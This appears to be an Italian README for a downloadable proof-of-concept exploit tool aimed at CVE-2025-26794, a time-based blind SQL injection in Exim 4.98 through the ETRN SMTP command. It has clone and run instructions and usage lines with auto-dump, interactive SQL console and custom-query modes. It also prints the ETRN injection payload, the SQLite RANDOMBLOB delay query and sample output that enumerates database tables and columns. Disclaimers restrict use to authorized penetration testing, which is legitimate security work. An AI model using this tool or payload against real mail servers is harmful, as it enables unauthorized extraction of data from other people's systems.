
Exploit di SQL injection per CVE-2025-26794 in Exim 4.98. Estrazione automatizzata dei dati tramite SQLi blind basata sul tempo. Solo per test di penetrazione autorizzati.
Uno strumento proof-of-concept per CVE-2025-26794, che dimostra la vulnerabilità di SQL injection nel server di posta Exim 4.98 tramite il comando ETRN quando si utilizza l'archiviazione DBM SQLite.
SOLO PER TEST DI SICUREZZA AUTORIZZATI
Questo strumento è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati. L'accesso non autorizzato a sistemi informatici è illegale ai sensi di diverse leggi, tra cui:
È necessario disporre di un'autorizzazione scritta esplicita prima di testare qualsiasi sistema che non si possiede.
Gli autori e i collaboratori non si assumono alcuna responsabilità per usi impropri o danni causati da questo strumento.
CVE-2025-26794 è una vulnerabilità di SQL injection in Exim 4.98 che si verifica quando:
Questa vulnerabilità consente agli attaccanti di:
# Clona il repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit
# Installa le dipendenze (nessuna richiesta - utilizza solo la libreria standard)
pip install -r requirements.txt
# Rendi eseguibile lo script (Linux/Mac)
chmod +x exploit.py
python3 exploit.py <target> [options]
python3 exploit.py 192.168.1.10 --test-only
python3 exploit.py mail.example.com --auto-dump
python3 exploit.py 10.0.0.5 --interactive
python3 exploit.py 192.168.1.10 --table users --columns
python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"
ETRN #',1); <MALICIOUS_QUERY> /*
Il payload sfrutta una sanitizzazione impropria nel gestore di serializzazione ETRN, consentendo l'iniezione di SQL nelle query SQLite.
Utilizza il ritardo temporale specifico di SQLite:
SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
Questo crea un ritardo misurabile (~1-2 secondi) quando la condizione è vera.
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-26794: Exim SQLi Data Extraction Tool ║
║ FOR AUTHORIZED USE ONLY ║
╚═══════════════════════════════════════════════════════════╝
[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s
[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users
[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email
Se stai eseguendo Exim 4.98 con DBM SQLite:
Lo strumento utilizza la ricerca binaria per estrarre i caratteri in modo efficiente:
unicode(): Ottiene il valore ASCII del caratteresubstr(): Estrae una sottostringa dal risultatosqlite_master: Tabella di sistema per l'enumerazione dello schemapragma_table_info(): Estrazione dei metadati delle colonneI contributi sono benvenuti per:
Assicurati che tutti i contributi includano:
Questo progetto è rilasciato a soli fini educativi. Usalo in modo responsabile e legale.
XploitGh0st
Se scopri vulnerabilità utilizzando questo strumento:
Ricorda: Da un grande potere deriva una grande responsabilità. Usa questo strumento in modo etico e legale.
| Opzione | Descrizione |
|---|
host | Hostname o indirizzo IP del target (obbligatorio) |
-p, --port | Porta SMTP (predefinita: 25) |
-t, --timeout | Timeout del socket in secondi (predefinito: 30) |
--threshold | Soglia di ritardo temporale per il rilevamento (predefinita: 0.8s) |
--test-only | Testa solo la vulnerabilità, nessuna estrazione di dati |
--auto-dump | Dump automatico della struttura e dei dati del database |
--interactive | Avvia la console interattiva per query SQL |
--table TABLE | Seleziona una tabella specifica per l'estrazione |
--columns | Estrae i nomi delle colonne (da usare con --table) |
--query QUERY | Esegue una query SQL personalizzata |